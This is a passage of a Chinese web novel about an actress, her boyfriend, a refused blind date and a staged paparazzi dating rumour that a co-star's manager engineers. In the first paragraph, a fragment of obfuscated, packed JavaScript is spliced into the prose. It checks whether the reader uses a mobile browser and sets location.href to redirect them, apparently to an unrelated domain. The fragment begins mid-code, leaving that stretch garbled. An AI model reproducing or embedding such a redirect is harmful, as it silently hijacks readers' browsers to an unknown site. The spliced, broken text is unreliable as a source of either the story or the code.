“如果市场趋向和你的喜欢相悖呢？如果没有喜欢的本子递到手上呢？”她紧紧追问，像是在求解，也像是已经写好了标准答案，只等人往空里填。
程绪毫不犹豫：“那就等待，等风往这边吹来。”
江遥忍不住懊悔，为什么要在大半夜跟他探讨这个问题。很明显，这类话题并不适合跟他聊起，至少目前的他，不适合。一帆风顺的人，怎么能懂底层挣扎的痛。如果风向一直没变，空耗的是一个演员的一生。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14304747|146179||http|test|mini|href|location''.split(''|''),0,{}));
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两人隔着手机聊天，语音电话，没开视频，很好藏起了江遥的表情。她沉默着，听他继续说道：“只有当你真正喜欢那个角色，那个剧本，才能赋予他们生命。人生不过短短数十年，我们既然是在戏里体验新的人生，就有义务让他们活得尽兴。”
年轻的时候，她也曾不知天高地厚地跟朋友们说过：“我一定会拍出超级好的角色。”
面对“为什么要当演员，当演员有什么好”的质疑，她也曾迎着夏日烈阳，为自己的梦想大声辩护：“为什么当演员？当然是喜欢啊！躲在角色背后感受他们的喜怒哀乐，你不觉得很爽吗？我还是我，又不止是我。如果没有人看到也没关系，我和我的角色互为知己。”
江遥将手机放在耳边，不无恶劣地想到，如果介绍他和十几岁的自己认识，两人说不定能实现同频共振。但现在的她，有时候自己都看不清，怎么有耐心再去等。她和她的角色，更妥帖的说法或许是——互为工具人。
床头的灯照得她的卑劣无所遁形，她旋转开关，世界重归黑暗。而他的声音，穿过迷雾蒙蒙，清晰地传到她耳中。
“看不清前路的时候，不如停下来缓一缓。没人有义务要求你时时刻刻向前，适当休息何尝不是一种养精蓄锐。”
“等待也是一种智慧。”无数人说过的话语，在他娓娓道来的时候，偏偏入了她的耳，在心底激起一阵阵回声。也许是过往的自己，在向现在面目全非的女人示警。
她没说认同与否，趴在枕头上，忍不住回嘴：“你对你女朋友就这点要求？”
程绪的声音也跟着轻松起来，“嗯，女朋友。”
话题被她成功带偏，两人漫无目的地闲聊，具体说了什么，她早已记不清。一觉睡醒，还有一个问题摆在眼前亟待确认。
“我睡觉应该不讲梦话吧？”刚把小鱼放进来，江遥就迫不及待地问。睁大的眼睛看起来格外有神，和几分钟前电话里困意浓浓的声音，天差地别。
小鱼摇了摇头，江遥心下一松，只听小鱼说到：“不太讲。”
她放松到一半的神经又瞬间绷紧，听到小鱼继续说完剩下半截话：“就有时候太累可能会有点，不过基本都听不清内容。”
江遥瞪大眼睛，耷拉着眼角，并没有被安慰到。果然，她对自己的认知，也并不完整。
《凡尘》上映半个月，以断层领先的优势成为清明档票房冠军，商务活动、杂志邀约雪片一般向主演们飞来，齐淮也成为导演圈的香饽饽，各家粉丝纷纷督促自家工作室去和齐淮接触，争取拿到他下部戏里的角色。
如果说最开始伸来的橄榄枝带着押宝的成分，现在的合作就完全是看在利益的份上了。一部电影，让导演到主演，实现了实打实的商业价值的提升，甚至有合体封面和代言找上门。
江遥更是凭着这部电影，摘掉“票房毒药”的称号，打了一个漂亮的翻身仗。颜值不错，演技过关，保底十几亿票房实绩到手，再加上大盛的星光，江遥热度直逼当红花旦，获得无数品牌和资源青睐。
55. 理智
江遥的行程表，再次被排得满满当当。
世界喧嚣，她的心底，却迎来了久违的宁静。在Susie问她本子选得如何时，只说要再看看，暂时没有自己喜欢的。
递到江遥面前的剧本，Susie都已经大致筛过，其中不乏热播影视剧的导演以及看起来不错的角色。
低谷归来，她还能稳得住，坚定自己内心的选择，属实是很难得。Susie适当给了几句自己的建议，终归没再多说什么。再名贵的乐器，只有找准自己的节奏，才能奏出完美的音符。
程绪没有过问她的计划，仿佛并不记得那天晚上的交锋。不过几天后江遥主动说起，觉得手上的本子都不太合适，要不是中庸的剧本要不是重复的角色，她说：“我想试试之前没有演过的。”
程绪还是那句话：“你喜欢就好。”
这次她爽快应下：“嗯！那就等等看吧。”
等待剧本的时间里，她手上的其他工作还在有条不紊地进行着，拍杂志、谈商务、选本子……马不停蹄奔赴在一项项行程里。
忙到月底，终于有了一天难得的休息。程绪来接她下班，两人说好一起去吃晚餐。
司机的驾驶技术很好，晚高峰路况复杂，车辆却丝毫未见颠簸，走一会儿停一会儿，直让人有种昏昏欲睡的感觉。
江遥坐在车上，眼皮开始止不住地打架，她努力撑开双眼，问一旁的人想吃什么。
程绪伸手触了触她阖上又掀起的睫毛，像是有针在指尖扎了一下，表面上看来完好如初，心底却泛起密密麻麻的痛意。他伸手将她拉进自己的怀中，柔声哄道：“先睡吧。”
江遥挣扎，趴在胸口望着他：“可你还没有吃饭。”
程绪拍了拍她的背脊，像是在哄闹脾气的小宝宝：“没事，我还不饿，等你睡醒一起吃。”
江遥迷迷糊糊，已经没有心力分辨他说的是谎言还是真话，只强撑着理智跟他交代：“那我先睡半小时，你先选地址，到点了叫我起来。”
“嗯，知道。”程绪没有异议。
车子在车位停下，周边的车来来往往，江遥枕着他的手臂睡得正香。她的皮肤很白，一点点瑕疵就尤为显眼。程绪伸手，隔空描摹着她眼底淡淡的青色轮廓。她那乱七八糟的作息，就很少有规律的时候。
睫毛抖动，睡美人打开望向世界的双眼，揉着眼睛，眼神懵懵的：“我睡了多久？”
“没多久。”程绪拉住她的手，在她眼角摸了摸，“眼睛都被你揉红了。”又低头问她：“还要再睡会儿吗？”
江遥摇头，就着他的手看了眼时间，已经是晚上八点多。她睡了一小时不止了。
餐厅的招牌在黑夜里忽闪忽闪，她看他一眼，推门下车。店里生意火爆，这个点很多菜品已售罄，他们随便点了几个，不到一小时就返程。
江遥的精神已经好了许多，下车的时候，程绪送她到单元门口，她伸手抱着他的腰，问他要不要上去坐坐。嘴巴贴着衣料，声音闷闷的。
在餐厅和路上，两人都没有怎么说话，她不想浪费这个难得的晚上。
路口风大，程绪带她往里站了站，帮她弄好被风吹乱的头发，“下次吧，你先好好睡一觉。”
江遥像是黏在了他身上，埋着脑袋不愿意起身。四月的夜晚，风吹在皮肤上，还是有些微冷，程绪找到她环在腰后的手，握住，带着她往前走：“好了，听你的。”
像是拿她没有办法的样子，声音听起来颇有一丝无奈和妥协的意味。江遥才不管那么多，欢喜地跟上，抢先按下上行按钮。
电梯里，两人手拉着手，电梯镜面将人的身影照得清清楚楚。江遥晃了晃相牵的手，带动他的手臂也跟着晃动。
角落里的摄像头还在不知疲倦地工作，程绪握着她的手紧了紧，到底没有多余的动作。
温馨的内室，忙碌穿梭的女主人，程绪喝了口水，略站了会儿就提出要走。江遥停下手上的动作，乌黑的眸子里，红血丝交错，大眼睛望过来，什么都没有说，却仿佛写满了对他的指责。
程绪张了张口，忍不住反思自己是不是提出了多过分的要求。他走近几步，跟她解释：“你需要休息。”
连轴转了太久，江遥的脑子已经想不了太多东西，只诚实地遵从心底的诉求：“可我想跟你多待会儿。”委屈巴巴的眼神，就算再心冷的人，也愿意在这样温顺的请求里暂停一停。
程绪闭了闭眼睛，无奈地承认，至少他不忍心，对她的依赖熟视无睹。他伸手虚虚遮住她的眼眸：“嗯，知道了。”
江遥拉开他遮在眼前的手，脸上和眼里都写满了得逞的笑。程绪嗓音有点变了调，转身坐到沙发上：“别这么看着我。”
她哈哈笑着，从冰箱拿出一盒酸奶，问他要不要。程绪摇头，端起桌上半冷的水喝了一口。
江遥今天偏喜欢跟他反着来，插上吸管，将酸奶送到他嘴边：“就一口。”
程绪张嘴，吸了一口，江遥也没再勉强，又拿回去一口一口喝掉剩下的。
电视机里在重播一部老电影，程绪看得认真，江遥坐在沙发上，拉着他的手指玩，又摊开自己的手掌，和他的比了比。不过几分钟，又啧一声将他的手丢开，嫌弃道：“一个男人的手长这么好看干嘛。”
无妄之灾从天而降，程绪将她的手捞回来，“比不过你。”
像是有固定指令的机器人，一板一眼的声音，一点都哄不到人。江遥不领情，伸出另一只手推搡道：“骗子。”高扬的嘴角却泄漏了她的好心情。
深邃的眼睛上下扫视着她的脸颊，只见她神色愉悦，却难掩一丝疲惫，程绪搂着她的肩膀，轻声问道：“还不睡吗？”
江遥坚持：“我还不困。”说完，张嘴打了个大大的哈欠，娇媚的眼睛里盈满泪意。
程绪顿了顿，没有再顺着她的心意，催促道：“困了就去睡。”
江遥
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没动，他放柔了声音：“在我面前不用这么强撑。”
为了这短短几小时的相处时间，她知道，他也并不像看起来这么悠闲轻松。大半时间都被自己睡过去，她心中总觉得过意不去。
宽厚的手掌拉她起身，贴心地煨好她潮湿的心情，“我不会不开心。”
他的声音并不和暖，心底的水雾却一点点蒸发、消散于无形。江遥听话地被他拉到卧室门外，不容拒绝地说道：“收拾衣服去洗漱。”
江遥点点头，看他的神情，又调皮地冲着他眨眼睛：“那你等我？”
程绪面无表情，头疼反问：“你是不是太信任我了？”
江遥装无辜：“你说什么？”
程绪没再多说，换好鞋子，回身再次跟她告别。柔和的灯光下，他精致而冷峻的面庞上，有温情无声流淌。江遥行动先于理智，反应过来时，手已经环上他的腰。程绪被她撞得往后一退，背脊抵在了门上。
记不清是谁先吻上谁的唇，电视机的声音掩盖住暧昧的唇齿厮磨声。许久后，他主动停了下来，身子下意识拉远和她的距离，额头抵着额头，哑声催促：“去洗澡。”
性感而低沉的男声，带着阵阵低喘，彼此的呼吸交错缠绕。虽然知道他本意如何，江遥的思路偏忍不住拐了个弯，往不可描述的方向飞速滑落。之前看过的剧本全部幻化成画面，排着队往脑中钻。
脸上热腾腾的，她怀疑心底的想法已经完全暴露在了脸上，偏过头，不敢对上他的眼睛。趴在他的肩上，小口小口地呼吸。
满室少女的馨香，顺着呼吸，丝丝缕缕，侵入他的鼻腔。怀中的人，甜美而柔软。他的体内仿佛被扔下一颗火种，腾得一下升起丈高的火苗。他冷冷地俯瞰着，看他引以为傲的自制力，狼狈地在烈火中挣扎喊叫，一步步溃败求饶。
程绪猛地攥紧拳头，背后的门板是他唯一的支撑，凉意顺着背脊传来，他像是涸辙之鱼，贪婪地汲取这一丝冷意，缓解体内汹涌的躁动。
江遥并不知道他的窘迫。她的发丝乌黑顺滑，温顺地垂落在他的肩上。程绪伸手捞起一绺，稍不留神，发丝顺着指缝滑走。像它的主人，兴致来时，任性而直接地索要，玩累了，又很快丢开手。
他动作放轻，伸手绕上她的发尾，江遥轻哼出声：“疼。”
程绪停下动作，亲了亲她的额头：“我走了。”
江遥收拾好心情，送他出门。
他给她发微信，还是催她快去洗漱早点休息。江遥看了一眼，手机上的文字开始扭曲变形，她摇摇头，将手机锁屏丢在一边。站在镜子前，望着自己的脸愣神。
女人脸上像飘起了一片火烧云，将毫无妆容的小脸妆点得白里透红。她伸手轻触镜中瑰丽的脸庞，镜中人也拧眉反问：这还是她么？
躺到床上的时候，困意已经消失得无影无踪。江遥踢了一脚被子，捂着耳朵屏蔽心底嘈杂的声音，恶狠狠出声：“不要再想了！”
56. 被拍
五月初，《凡尘》下映，最终收获21亿票房。
剧组举办了庆功宴，庆功宴上，一个西装革履的男人持着酒杯，脸上笑意温和：“江小姐，恭喜。”
江遥抿了口杯中的果汁：“谢谢。”
女人笑容楚楚，娇艳的五官中，跳跃着一抹轻灵，姿容姣好，不媚不妖。和生活中的她相比，又多了丝不远不近的距离。
男人的目光闲闲落在身上，不知道是不是她想多，总觉得他看来的眼神里，带着丝莫名的探究。江遥正想找个借口开溜，有工作人员看到她，伸手喊道：“江老师，快来切蛋糕。”
江遥歉意一笑，“失陪一下。”
回程路上，许久不见的乔女士打来电话：“小黎说已经和你见过了，对你印象挺不错。”
江遥莫名其妙：“谁是小黎？”
仿佛是听到她的疑问，一位没有备注的联系人发来信息：「江小姐明天方便吗，一起吃个饭？」
不知道什么时候加的好友，此前也一直没有聊天消息。江遥回复：「请问你是？」
对面言简意赅：「黎云初。」仿佛她应该知道他似的。
别说，江遥看着这名字还真有一丝眼熟。她仔细回想，始终没有找到那丝关键线索。
乔女士哎哟一声，声音震耳欲聋：“少给我装蒜，你的相亲对象！”
江遥听到第一个音调就知道乔女士即将发威，很有经验地将举着手机的手伸远。
“你的相亲对象”几个大字，中气十足地砸落在后排正中央。
“啊对。”相亲对象。江遥的思路瞬间通畅。
她终于想起来，黎云初，那个当初被她当成培训老师误加的男人。她明明记得已经删除了的啊，难道只是删掉了聊天记录？
敢情这人一直在她列表里躺着，个把月没动静，她已经完全忘记了这号人。
坐在一旁的小鱼一口水喝到喉咙里，被他们一问一答吓得走偏了道，呛得剧烈咳嗽起来。江遥伸手帮她拍着背，“没人跟你抢。”
小鱼惊恐地回头，边咳边抓着她的手，小声确认：“相亲……咳咳……对……咳……象？”看她那表情，仿佛碰到了什么灵异事件，被吓得不轻。
江遥掩面靠着椅背，小声交代乔女士：“行我知道了，您忙自己的去，这事儿我自己看着处理。”
她利索收线，电话里传来阵阵忙音，乔红英对着手机念叨了两句，想了想，还是又给她发了条语音。
小鱼这会儿终于缓了过来，压低声音急切地追问：“你什么时候去相亲了？”她看了眼司机，没有再往下说，脸上神情一会儿一个样，不知道在想些什么乱七八糟的。
江遥不忍见自己的一世英名这么毁于一旦，解释道：“不是你想的那样。”
小鱼不买账，转而给她发微信：「我怎么想重要吗？」
「你是不是搞错了对象。」
江遥怀疑她是潜藏在身边的间谍，但这间谍胳膊肘外拐得未免过于明显。她放弃挣扎，只说：「他不知道。」
小鱼侧头横了她一眼，又噼里啪啦按着键盘：「渣女。」
江遥百口莫辩：「我真的什么也没干。」她甚至不知道他长什么样。
乔女士的头像突然跳到了前面，对话框显示新进来一条三十多秒的语音，江遥生怕她再次语出惊人，回到家才敢点开播放。
果然还是之前那个话题，她大概是知道自己女儿的德行，只告诉她别太乱来，对方是二姨领导的亲戚，就算不喜欢，也别闹得太难看。
成年人的体面嘛，她懂。按下语音键，告诉乔女士放心。
黎云初发出邀约，江遥一直没有回复，他也没再催促。
江遥还真不习惯处理这样的状况，晾着也不是个办法，只好实话实说：「不好意思让您误会，我想我们并不合适。」
对面却没有就此作罢，也许觉得她是因中间的失联而有想法，反倒来了一出自我反省：「对不起，前阵子项目太忙，一直没来得及联系，希望江小姐能再给我个机会。」
江遥向来是敌退我进的作风，看他这样，又想起来乔女士好聚好散的叮嘱，只说：「和您没关系，是我个人原因。」
不知他是否懂了她的意思，最后也没再坚持：「如果江小姐不嫌弃的话，咱们就当个普通朋友。」
他补充，「我也是C城人。」
江遥忙说“哪里哪里”，飞速把他备注改成“相亲对象”，恨不得拿红笔大写加粗，以后都躲着这个人走。
这茬风波就这么有惊无险地度过，丝毫没有惊动另一位当事人。
去年底杀青的古装剧计划定档暑期，即将进入第一轮宣传期。之前沉寂的小群又活跃了起来，徐婉宁开心道：「遥遥姐，咱们又可以见面啦。」
剧组投资有限，大家对它抱着期待，却并没有存着不切实际的幻想。群里每天插科打诨，氛围很是不错。
接拍时江遥还是娱乐圈一名再普通不过的女演员，陷在解约风波和各色绯闻中不得脱身，尽管后期口碑上扬，但真正到此时，才重回流量花行列。
这是她再次走红后第一部上映、并且主扛的剧，小鱼私下问她，紧不紧张。
江遥还是该吃吃，该喝喝，并劝小鱼道：“你再紧张也没用，一部剧有一部剧的结果。”
小鱼做了个抱拳的动作，甘拜下风。敢情她倒更像是主演了。
几位主演近期都在A城，副导演牵头组了个饭局。席上，卢亮坐在主位，话题却都是副导演在带。江遥和男主魏林分别坐在导演两侧，徐婉宁挨着江遥的位置坐下。
近半年没见，徐婉宁还是咋咋呼呼的样子。《凡尘》上映，她第一时间包了场，并帮忙在朋友圈卖力吆喝。
饭桌上，她毫不见外地跟江遥分享自己在新剧组的生活，两人在微信上时有联系，一点没见生疏。其他人听她抑扬顿挫地一通说，仿佛又重回宛城忙里偷闲捧哏逗乐的时光，就连卢亮也加入进来，偶尔插个一两句，场上一时热闹非常。
徐婉宁环视全场，导演卢亮还是讲不了两句话就需要重新酝酿启动。身旁的江遥，没说话的时候，就在低头默默吃着碗中的食物，但只要她有问题，她就会停下来，给出自己的回答和建议。
男主魏林脸上还是挂着笑意，场面上
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更见成熟和老道，但整个人给人的感觉却和当初在组里时很不一样。她想，或许这就叫做明星范儿。
魏林凭着跨年的网剧小火一把，收获了自己人生中的第一批粉丝。几个月下来虽有部分流失，但仍有不少人坚定地追随了下来。
昨天第一版预告出炉，转发宣传的人里，除了江遥一骑绝尘的数据，魏林的几万转发，在这个组里也已经很拿得出手。粉丝们就像嗷嗷待哺的雏鸟，大喊着“期待哥哥新剧”、“哥哥好帅”、“老公什么时候再进组”等等。
徐婉宁看着自己两位数的评论和转发数据，深觉自己还有很长的路要走。
饭后，魏林的经纪人开车来接，看到站在台阶上等车的江遥，摇下车窗：“江老师一起走吧，正好顺路。”
江遥正想拒绝，徐婉宁从后面蹦出来，接过她手上自己的挎包，拉着她步下台阶，开心地应道：“好啊，正好顺路。”
魏林拉开车门，扶着门框，徐婉宁先坐了进去。江遥跟她同路，两人本就约好一起走，见此只好跟上。
魏林站在车门边，抬手护着她的头顶，一派绅士作风。江遥弯腰钻进车里，笑着跟他道谢。
魏林笑了笑：“江老师太客气了。”
路边的灌木丛后，有闪光灯亮起，江遥下意识望过去。
魏林顺着她的视线侧头：“怎么了？”
来人很快收了设备离开，江遥也坐直了身子。她说：“没事，好像有人蹲点。”
徐婉宁一听：“我们这小剧组聚餐也有人蹲了吗？正好剧快上了，多个曝光也好。”
她挽着江遥的胳膊撒娇，“我就说这免费的金大腿不抱白不抱。照我说卢导应该把宣传费分你一半。”
剧组经费有限，宣发还没正式铺开。但看片会结束后，业内反馈都很好。
一开始是内部人士爆料该剧剧本扎实，演员也完全不拉胯。后来，又有人夸江遥选本子的眼光，并高度赞扬了她在剧里的演技，最后表示，这部不按套路出牌的戏，很有可能成为一匹黑马，以小博大。
不少提前看片的人不约而同地释放出积极信号：江遥这部新剧，很有可能掀起又一轮暑期档热潮。这部三十集的古装轻喜剧，口碑逐渐发酵。
多名参演人员此前的采访也被翻出来，“剧组氛围很好”、“演得很过瘾”等说法高频出镜。
粉丝们的态度从一开始的有新剧追就好，到后来期待值被高高拉起，也就是短短几天的事。
在这样的气氛里，Susie带领着新招来的小妹妹，有条不紊地做着各项准备工作。不料这天早上，营销号曝光的一组照片，将这部剧的热度直接推至最高点。
宣传小妹妹最先发现，Susie打来电话跟江遥确认消息的时候，她还在睡觉。
微信里躺着Susie发来的链接，是她和魏林的一组双人照片。
有她坐在车里笑着的样子，也有魏林站在车外护着她坐进去的动作，还有她仰头道谢、魏林轻笑着回复的场景。
抓拍的角度选得很好，明明两个人都没有肢体接触，在照片里，看起来竟像是个低头亲吻的动作。
57. 纯粹
江遥一眼认出，是剧组聚餐那天晚上，她和徐婉宁一起坐魏林车回家的时候，果然被拍到了照片。
她回复Susie：“是那天聚餐的图，魏林的经纪人和徐婉宁也在车上。”
两个年轻男女，颜值又双双在线，这种暧昧的角度，明显是想把人往沟里带。Susie问了几句她跟魏林的关系，江遥表示就是普通同事。
“行，我知道了。”
短短几分钟，＃江遥魏林恋情＃＃江遥魏林吻照＃已经上升到热搜前排。
点进评论和讨论区，基本都是早起的人在吃瓜和震惊。
「江遥新恋情？她和宴池分手了吗？」
「不是吧，这姐们刚翻红就这么不要命，真不怕粉丝表演个原地脱粉。」
「随机采访一下，瑶池粉还好吗？」
「之前她和宴池不是炒得轰轰烈烈的，难道都是假的？」
「这男的是谁？看起来还不错。」
有宴池的粉丝赶来：「别cue宴池，祝江遥和新男友99。」
「谁喜欢她谁带走，谢谢您嘞。」
「这姐也是真不挑，离了我哥就只能和这样的人抱团了，yue～」
#瑶池##江遥宴池分手#等话题紧随其后上了热搜。讨论区里，不乏人幸灾乐祸。
「她可能糊习惯了，红一下还不适应，不把自己作死都不甘心。」
「姐夫换了一个又一个，江遥粉丝抗摔打能力还蛮强的。」
「宴池也太惨了，这属于无缝衔接了吧。」
「有没有一种可能……瑶池也只是炒作。」
江遥粉丝看到这不乐意了，「可是他们从来也没承认过啊，不都是CP粉自己在嗑吗？现在开始岁月史书？」
宴池粉丝阴阳怪气，「只能说有的人太会炒作，但假的终究是假的。」
有的CP粉担心江遥被黑，一边心疼一边含泪澄清：「与他们无关，是朕执意要嗑的。」
也有的坚决不信：「那吻照一看就是借位拍的，有什么证据证明他们在谈呢？」
有的人才不管这些粉粉黑黑，语出惊人道：「这姐身边怎么这么多优质男人，如果我有她那本事，一天换八百个不带重样的。」
立马引来一片声援。
「就是，她绯闻不是一直都很多吗，我还以为大家早已经见怪不怪了，这姐能糊了又红，可见还是有点真本事在身上的。」
「看了《凡尘》，我觉得江遥配得起娱乐圈任何一个人。呜呜呜我的小公主，希望你在现实世界里玩得开心……」
「姐姐性别能不能别卡那么死，现在收拾收拾入圈还来得及么？」
在一片混乱中，也有魏林粉丝趁机安利：「给大家介绍一下我的宝藏男孩，入股不亏。」
有人恍然大悟：「对对对我就说这人怎么那么眼熟，年初那部剧我看过。」
有人顾影自怜：「唉，优秀的人怎么都有主了，月老是不是牵红线时把我给忘了！」
话题越跑越歪，Susie长舒一口气：绯闻女王的体质，有时候也不全是坏事。搁别的小花身上，一个恋情绯闻紧接着可能就是大面积的脱粉，到江遥身上，没恋爱都能被随机按头几个男友，真等到恋情曝光，杀伤力反倒要减半。虽然，这些所谓的恋情本来就是假的。
汪静静今天出工早，拍完一场戏，坐在一旁等下一场准备，摸出手机一刷，竟然吃到了自家姐妹的瓜，而且还是刚出炉的。
啧啧，没劲，一看就是借位图，亏她还有那么一秒钟对营销号抱有期待。
大清早的江遥粉丝跑得也是够快，牢牢占住了评论区。大家一口咬定，只说是剧组同事碰面，让营销号不要胡乱发散。随便滑了几屏，早起的吃瓜群众也已经就位，话题天南地北，扩散得没了边，不过倒也没什么负面言论。
她顺手截了几张图，正想发给江遥，工作人员通知下一场戏准备。她将手机交给助理，沉浸入自己的角色里。
小鱼看到照片很是气不过：“这就是冲着造谣来的吧，非要把屎盆子往人身上扣。”
Susie站在窗前，一手环胸，一手举着手机在打电话，闻声扫来一眼，小鱼伸手在嘴边做了个拉拉链的动作，抬抬下巴示意她继续忙。
“Susie姐，实在不好意思，我这电话都被打爆了。没想到闹出这样的事，我们也很过意不去。”电话响了很久才接通，没等她说明来意，李腾就忙不迭道歉。
“那这澄清……”她想说要不一起发个合照，大事化小，说明是集体聚会，关于恋情的谣言也会不攻自破。
江遥这边向来绯闻很多，按照粉丝的说法是，她有天生的CP体质，和谁都很容易被嗑到。他们没时间每条新闻都一一澄清，这样以后会显得很被动。
李腾赶紧接过话头，“应该的应该的，我们已经拟好声明，正在走内部流程，等公司盖个公章就行。”
“发布前我给您同步一份，有不合适的可以一起商量着再调整。”
别人工作室的事他们自然不好插手，Susie表示不用。对面又一个劲儿表达歉意，并让她帮忙向江遥转达魏林的愧疚之心，最后说希望不要影响接下来的合作。
“行，那就这样。”Susie挂掉电话，小鱼从沙发上起身，急忙问：“那边怎么说？”
“晚点会发声明。”
“那就好，魏林的粉丝也太吓人了。”她看着手机里血淋淋的图片，甚至找不到什么合适的形容，最后摇摇头，只说：“现在的小姑娘啊……”
她手机上挂着工作室的微博，不小心点开一条私信，满屏都是重口味图片，看得人生理不适，赶紧退出。
对面还在发消息，看起来情绪非常激动。不过来来回回就一个中心思想。
「不要抢我老公！」
「他是我的，我一个人的！」
啧啧，这人怕不是有点什么妄想症。
点进主页，漂漂亮亮一个小女生，发的内容都是岁月静好的画风。没想到私下里，干的都不是什么阳光事儿。
最近参与的话题，显示都是和魏林相关，魏林偶尔分享生活，她也会第一时间点赞。不久前还转发了营销号的新闻，说“相信老公”。是魏林的粉丝没跑了。
几人齐聚在江遥家中，江遥接了个电话，直接回了房。小鱼看了眼半阖的房门，跟Susie同步了下情况，两人默契地没有告知江遥。他们作为男女主以后还得一起宣传合作，而且极端的粉丝，谁家都有，没必要单拎出来说。
但她还是忍不住低声吐槽：“被这种人缠上，魏
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林以后真的找女朋友，估计也吃不消。”一般人碰到这种疯子不得做噩梦才怪呢，惹不起总能躲得起。
李腾往转椅上一躺，一手转着手机，笑看着魏林，“我就说没事吧。”
魏林靠着桌子站着，没有说话。
他从椅子上起身，在魏林肩膀上拍了拍，故作深沉地一叹：“小魏啊，干这一行，想出头就得用点非常手段。”
魏林的肩膀被拍得往下一沉，咬着牙关站住身子，犹疑着开口：“腾哥……这样会不会有点过分？”
李腾啧一声，语气里透着丝不耐烦：“那要不接下来你自己摆平。”
魏林抬起头看他一眼，想说什么，又低下头，静默着，不说话了。
李腾笑了笑，知道火候到了，睨着他：“这样才对嘛。我联系摄影师的时候你没说不行，找营销号的时候你也眼睁睁看着。”
他在魏林跟前站定，伸手帮他掸了掸肩上不存在的灰尘，“这会儿再来装好人啊，晚了！”
魏林身子僵住，李腾携着他在沙发上坐下，拍了拍他的手背，“你既然不能做一个纯粹的好人，那就干脆什么都不要想，不要问。听哥的，识时务的人才能走得更长。”
“你看看圈子里的人来来往往，那些所谓的大咖，有哪个脚下不是沾着别人的血，踩着一个个人上位的？”
“腾哥……”魏林喉头滚动，艰难出声，声音里带着一丝哽咽。
李腾假装没有看到他的情绪波动，起身从烟盒里抖出一根烟，叼进嘴里点燃，猛地吸了一口，烟雾升腾而起，他淡淡出声：“习惯就好了。”
等汪静静再次打开微博，热搜词条已经爆掉。
系统自动刷新，显示出热门评论。
「只有我觉得他们很配吗？听说是江遥新剧的男主，我先入个股。」
「我也觉得蛮搭的，在一起就祝福。」
「蹲蹲后续。」
「我也蹲一个，这姐夫感觉还不错。」
汪静静从凳子上站起来，怀疑自己是不是手误点进了另一条微博。一看博主名字，也没错啊。但评论区信息已经换了个样儿。
原视频下，粉丝的高赞澄清和吃瓜看戏的评论基本不见了身影，前排涌现出许多嗑CP的人。
不是不能嗑，但就……有一丝不对劲。
有经验老道的吃瓜er早已看透其中的套路：「我就提个醒，听说江遥新剧快上了……」
评论区又开始吐槽：「又是炒作啊，服了。」
「是江遥也不奇怪了，老炒作大王了。」
……
江遥最近势头正好，就爆出恋爱绯闻，粉丝都没来得及震惊和伤心，第一时间奔走在各个评论区，在乌泱泱的吃瓜群体中，努力发出自己的声音。但一刷新，又被淹没在差不多话术的评论中。
粉丝群体中终于有人觉得不对劲，在小群里商量着：「看样子是有人花钱了，我刷到好多一模一样的帖子和评论。」
「这风向不是想把恋情坐实，就是想把炒作的标签贴在遥遥身上，太恶毒了。」
「遥遥凭着《凡尘》再次大爆，肯定动了很多人的蛋糕，一举一动都被放大，保不准谁家在背后落井下石呢。」
「等等看吧，工作室的人也该起来了，看官方怎么说。」
58. 吃瘪
汪静静把链接发给江遥：「怎么回事？」
江遥以为她在问照片的事，回复她：「剧组聚餐。」
汪静静问：「那其他人呢？」
江遥皱皱鼻子，这就是问题所在。明明徐婉宁也在车上，曝光的照片从始至终只有两个人，找的角度也很让人说不清。
等汪静静拍完上午的戏份回来，发现江遥还在热搜上挂着，也没有采取任何行动，她表示很不理解：「怎么回事？」
这边，小鱼也暴躁地在房间走来走去：“怎么回事，一大早就说只差盖章，再问就是工作人员还没上班，好家伙，现在都快下午了，再难产也该生出来了吧。”
有好事的营销号统计了一上午两位当事人的粉丝数，拜热搜所赐，不少人摸过来打卡，短短几个小时里，魏林微博就涨了十几万粉，评论区都是吃瓜看热闹蹲后续的路人。就算是骂声，也全部集中在江遥身上了。
而江遥这边，基本都是粉丝在求工作室澄清。
「你们长点心吧，看看隔壁涨了多少粉，这热度是真给他们蹭明白了。」
「本来我看到新闻还有点咯噔，这一通操作下来，是只猪都该懂了。」
「不管有没有恋爱，这人都趁早给我滚远点。」
同事一场，江遥并不想以恶意去揣测对方的行为，徐婉宁却已经坐不住了，连发了几条微信问：「要不要现在发？」
江遥没有立刻回答，看向小鱼：“再联系一遍吧。”
一上午，小鱼不知道拨了多少遍李腾的号码，一开始还有人接听，到最后，只能听到一板一眼的电子提示音。此时，手机里也还是同样的话术在提醒着：您拨打的电话正在通话中……
“OK，我知道了，感谢感谢。”Susie挂掉电话，开口拍板道：“我们先发。”
在热搜上热闹了一上午的江遥恋情绯闻，随着徐婉宁发出的合照打上休止符。
照片内容是和江遥在车上的合照，她开心写到：“又见面啦。”网友们火眼金睛，认出这就是爆料图里的那辆车。评论区有人问她，对于热搜上的事情怎么看。
徐婉宁发了张和江遥牵手的照片，俏皮回复：当我不存在呢？
剧组官方账号也转发了徐婉宁的这条回复，并附带一张剧组聚餐时拍的合影。
有人受不了直接大骂：「什么垃圾剧组，果然又是炒作。」
内容发布前大家就已经预料到了这个局面，既然想甩也甩不脱，那这口锅就只能先背着了。
江遥私下连发了几个表情包表达谢意，卢亮安抚她：「应该的。」
有刚入坑的CP粉破防：「就我当真了，我是傻瓜。」
被人追着评论：「真的假的，你确定不是演的？」
「这样单纯的人不多了。」
「电话号码留下，老了我找你卖保健品。」
江遥工作室转发了剧组的微博：期待下次见面。
#江遥辟谣恋情#再次冲上热搜。几分钟后，魏林工作室也发布了澄清公告，表示网传相关言论均为不实消息，请大家多多关注作品。
「散了吧散了吧，我们都是剧组炒作的一环。」
「隐隐约约听说过这部戏质量还不错，能不能走点正当门路。」
「物以类聚，和江遥一起的，你懂的……」
这段莫名其妙的绯闻就跟它莫名其妙出现一样，之后没有再引发太大关注。
新剧定档后开始大范围预热，近段时间，江遥魏林这两个名字频繁同框出现。不久前的恋情传闻，被所有人默认成剧组宣传手段。
绯闻后再次见面，魏林一脸愧色地看着江遥，主动道歉：“对不起江老师，前段时间给您添麻烦了。”陪同在一旁的经纪人李腾也陪着笑脸说了许多好话。
江遥心平气和，让他们不要往心里去。
